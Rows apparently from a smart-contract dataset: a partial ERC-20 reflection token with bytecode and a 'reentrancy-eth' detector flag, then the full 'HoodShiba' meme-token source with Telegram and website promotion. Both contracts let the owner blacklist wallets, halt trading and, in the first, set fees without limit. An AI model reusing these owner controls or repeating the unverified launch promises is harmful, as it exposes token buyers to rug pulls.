return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b357600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611962565b6105fe565b005b34801561020a57600080fd5b50604080518082019091526009815268426f6261204b6f6e6760b81b60208201525b6040516102399190611a27565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a7c565b61069d565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa8565b6106b4565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae9565b61071d565b34801561036d57600080fd5b506101fc61037c366004611b16565b610768565b34801561038d57600080fd5b506101fc6107b0565b3480156103a257600080fd5b506102c16103b1366004611ae9565b6107fb565b3480156103c257600080fd5b506101fc61081d565b3480156103d757600080fd5b506101fc6103e6366004611b31565b610891565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae9565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b16565b6108c0565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b50604080518082019091526008815267424f42414b4f4e4760c01b602082015261022c565b3480156104bf57600080fd5b506101fc6104ce366004611b31565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4a565b610937565b3480156104ff57600080fd5b5061026261050e366004611a7c565b610975565b34801561051f57600080fd5b5061026261052e366004611ae9565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7c565b6109d6565b34801561058457600080fd5b506102c1610593366004611c00565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b31565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611ae9565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c39565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9a565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c39565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c39565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c39565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c39565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c39565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c39565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c39565b60005b82811015610a71578160056000868685818110610a2257610a22611c6e565b9050602002016020810190610a379190611ae9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9a565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c39565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c39565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb5565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c6e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce4565b816001815181106113cf576113cf611c6e565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d01565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611669565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611697565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611736565b6001600160a01b0389166000908152600260205260409020556115c781611795565b6115d184836117df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164482826114c2565b82101561166057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168a5760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611d72565b60008060008060008060008060006116b48a600c54600d54611803565b92509250925060006116c461149f565b905060008060006116d78e878787611858565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117438385611cb5565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061179f61149f565b905060006117ad83836118a8565b306000908152600260205260409020549091506117ca9082611736565b30600090815260026020526040902055505050565b6006546117ec90836116f4565b6006556007546117fc9082611736565b6007555050565b600080808061181d606461181789896118a8565b906114c2565b9050600061183060646118178a896118a8565b90506000611848826118428b866116f4565b906116f4565b9992985090965090945050505050565b600080808061186788866118a8565b9050600061187588876118a8565b9050600061188388886118a8565b905060006118958261184286866116f4565b939b939a50919850919650505050505050565b6000826118b7575060006106ae565b60006118c38385611d94565b9050826118d08583611d72565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195d8161193d565b919050565b6000602080838503121561197557600080fd5b823567ffffffffffffffff8082111561198d57600080fd5b818501915085601f8301126119a157600080fd5b8135818111156119b3576119b3611927565b8060051b604051601f19603f830116810181811085821117156119d8576119d8611927565b6040529182528482019250838101850191888311156119f657600080fd5b938501935b82851015611a1b57611a0c85611952565b845293850193928501926119fb565b98975050505050505050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8f57600080fd5b8235611a9a8161193d565b946020939093013593505050565b600080600060608486031215611abd57600080fd5b8335611ac88161193d565b92506020840135611ad88161193d565b929592945050506040919091013590565b600060208284031215611afb57600080fd5b81356112e18161193d565b8035801515811461195d57600080fd5b600060208284031215611b2857600080fd5b6112e182611b06565b600060208284031215611b4357600080fd5b5035919050565b60008060008060808587031215611b6057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9157600080fd5b833567ffffffffffffffff80821115611ba957600080fd5b818601915086601f830112611bbd57600080fd5b813581811115611bcc57600080fd5b8760208260051b8501011115611be157600080fd5b602092830195509350611bf79186019050611b06565b90509250925092565b60008060408385031215611c1357600080fd5b8235611c1e8161193d565b91506020830135611c2e8161193d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cae57611cae611c84565b5060010190565b60008219821115611cc857611cc8611c84565b500190565b600082821015611cdf57611cdf611c84565b500390565b600060208284031215611cf657600080fd5b81516112e18161193d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c84565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6e2bec6d31ed8a2d11e5c1f1502246b50793dd64d9c787ac0bbcce5ce6163c364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,967 |
0xaA4Def55AA530269418d83204cC2635d5d1df9f7
|
/**
HoodShiba
HoodShiba NFT marketplace will allow you to stake tokens + NFTs to receive royalties on all of the
NFTs volume that is being traded.
HoodShiba NFT Marketplace will support ERC, BSC, FTM, ONE, MATIC, AVAX chain NFTs.
Shibas in the hood get a cut no matter where the deal is being made, as long as it's on their marketplace.
TG LINK: https://t.me/HoodShiba
Website: https://hoodshiba.net
OWNERSHIP RENOUNCE + LP LOCK ON LAUNCH
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HoodShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HoodShiba";
string private constant _symbol = "HoodS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xb97845D834E9Cb5D117E30D8F679972a5a0c5ec5);
address payable private _marketingAddress = payable(0xb97845D834E9Cb5D117E30D8F679972a5a0c5ec5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000000000 * 10**9;
uint256 public _maxWalletSize = 250000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 0, "Buy rewards");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 8, "Buy tax");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 0, "Sell rewards");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 12, "Sell tax");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
